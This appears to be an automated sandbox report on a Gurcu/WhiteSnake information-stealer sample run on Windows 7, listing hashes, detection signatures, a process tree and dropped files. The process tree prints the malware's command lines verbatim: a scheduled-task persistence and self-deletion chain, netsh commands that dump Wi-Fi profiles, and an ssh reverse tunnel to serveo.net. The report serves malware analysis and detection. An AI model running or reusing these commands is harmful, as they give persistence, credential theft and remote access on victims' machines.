Analysis

  • max time kernel
    139s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    07-10-2023 01:01

General

  • Target

    34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

  • Size

    256KB

  • MD5

    0a32e2ec770c67261df3f3971d517bea

  • SHA1

    4dfbe7f3faa5b30b9f93085572496f055b02c5e0

  • SHA256

    34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8

  • SHA512

    636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d

  • SSDEEP

    6144:/GpIP+Oqum37ZUr6dgZTlp3j9bpf3X/ZZ+W0:GIPvqR7I6dgZTvfnfP0

Malware Config

Signatures

  • Detect Gurcu Stealer V3 payload 7 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
    "C:\Users\Admin\AppData\Local\Temp\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1376
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:2652
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:2644
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:2632
        • C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
          "C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3052
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1208
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:2748
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                  PID:1524
                • C:\Windows\system32\findstr.exe
                  findstr /R /C:"[ ]:[ ]"
                  5⤵
                    PID:1920
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2164
                  • C:\Windows\system32\findstr.exe
                    findstr "SSID BSSID Signal"
                    5⤵
                      PID:2792
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show networks mode=bssid
                      5⤵
                        PID:2704
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        5⤵
                          PID:1560
                      • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                        "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4146 serveo.net
                        4⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1656
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {8441BB33-270E-421B-8BBC-440B30C0EAF9} S-1-5-21-86725733-3001458681-3405935542-1000:ZWKQHIWB\Admin:Interactive:[1]
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2116
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
                    2⤵
                    • Executes dropped EXE
                    • Accesses Microsoft Outlook profiles
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    • outlook_office_path
                    • outlook_win_path
                    PID:2168
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2112
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2464
                      • C:\Windows\system32\findstr.exe
                        findstr "SSID BSSID Signal"
                        4⤵
                          PID:2608
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show networks mode=bssid
                          4⤵
                            PID:2580
                          • C:\Windows\system32\chcp.com
                            chcp 65001
                            4⤵
                              PID:2924
                          • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                            "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4146 serveo.net
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2628
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        1⤵
                          PID:2044
                        • C:\Windows\system32\findstr.exe
                          findstr /R /C:"[ ]:[ ]"
                          1⤵
                            PID:2180
                          • C:\Windows\system32\netsh.exe
                            netsh wlan show profiles
                            1⤵
                              PID:1668

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\.ssh\known_hosts

                              Filesize

                              393B

                              MD5

                              18015a60cd12f33648facec1263cfafa

                              SHA1

                              31b7afd9a2dc51bfad694e5772d430fceedbac3f

                              SHA256

                              9ab8d1a229e05070a0364b5c5efd2ab1ddf676b0bc00314ec336bcdc00998190

                              SHA512

                              fcdb2e02f01c59916eaa08baeb74cc2f61eed6d96873f41a2299b752b9ec1af5db74a6eac6013c9a45a77d0bbc0431590f16fa74cff779eea97383e2fe073925

                            • C:\Users\Admin\AppData\Local\67f1w63d06\port.dat

                              Filesize

                              4B

                              MD5

                              109f91266ef89cc3690079b28abfe9a3

                              SHA1

                              3e61ee722ebd6a651785e7e3b14b1acb4a4dbf75

                              SHA256

                              cbaa265082e8b5348b139f51aad4fb1bd60f2a55e66cc027a8d6d0cde19a7155

                              SHA512

                              a8bf4502cacbf738e531c6cad04326314ba8e03483fbac9c536052553262a7ed756e5c2c82742654df8431c3a685fcfa151bd53b222cf75917a61b42f28589c0

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

                              Filesize

                              256KB

                              MD5

                              0a32e2ec770c67261df3f3971d517bea

                              SHA1

                              4dfbe7f3faa5b30b9f93085572496f055b02c5e0

                              SHA256

                              34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8

                              SHA512

                              636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

                              Filesize

                              256KB

                              MD5

                              0a32e2ec770c67261df3f3971d517bea

                              SHA1

                              4dfbe7f3faa5b30b9f93085572496f055b02c5e0

                              SHA256

                              34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8

                              SHA512

                              636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe

                              Filesize

                              256KB

                              MD5

                              0a32e2ec770c67261df3f3971d517bea

                              SHA1

                              4dfbe7f3faa5b30b9f93085572496f055b02c5e0

                              SHA256

                              34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8

                              SHA512

                              636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                              Filesize

                              1.5MB

                              MD5

                              79a6e2268dfdba1d94c27f4b17265ff4

                              SHA1

                              b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                              SHA256

                              6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                              SHA512

                              3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                              Filesize

                              914KB

                              MD5

                              d1ce628a81ab779f1e8f7bf7df1bb32c

                              SHA1

                              011c90c704bb4782001d6e6ce1c647bf2bb17e01

                              SHA256

                              2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                              SHA512

                              de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                              Filesize

                              914KB

                              MD5

                              d1ce628a81ab779f1e8f7bf7df1bb32c

                              SHA1

                              011c90c704bb4782001d6e6ce1c647bf2bb17e01

                              SHA256

                              2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                              SHA512

                              de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                            • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                              Filesize

                              914KB

                              MD5

                              d1ce628a81ab779f1e8f7bf7df1bb32c

                              SHA1

                              011c90c704bb4782001d6e6ce1c647bf2bb17e01

                              SHA256

                              2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                              SHA512

                              de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                            • \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                              Filesize

                              1.5MB

                              MD5

                              79a6e2268dfdba1d94c27f4b17265ff4

                              SHA1

                              b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                              SHA256

                              6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                              SHA512

                              3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                            • \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                              Filesize

                              1.5MB

                              MD5

                              79a6e2268dfdba1d94c27f4b17265ff4

                              SHA1

                              b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                              SHA256

                              6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                              SHA512

                              3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                            • memory/1376-5-0x000007FEF5FC0000-0x000007FEF69AC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/1376-1-0x000007FEF5FC0000-0x000007FEF69AC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/1376-2-0x000000001B340000-0x000000001B3C0000-memory.dmp

                              Filesize

                              512KB

                            • memory/1376-0-0x0000000000E10000-0x0000000000E56000-memory.dmp

                              Filesize

                              280KB

                            • memory/2168-130-0x000000001B180000-0x000000001B200000-memory.dmp

                              Filesize

                              512KB

                            • memory/2168-129-0x000007FEF55D0000-0x000007FEF5FBC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/2168-136-0x000007FEF55D0000-0x000007FEF5FBC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/3052-127-0x000000001B210000-0x000000001B290000-memory.dmp

                              Filesize

                              512KB

                            • memory/3052-126-0x000007FEF55D0000-0x000007FEF5FBC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/3052-11-0x000000001B210000-0x000000001B290000-memory.dmp

                              Filesize

                              512KB

                            • memory/3052-10-0x000007FEF55D0000-0x000007FEF5FBC000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/3052-9-0x0000000000E60000-0x0000000000EA6000-memory.dmp

                              Filesize

                              280KB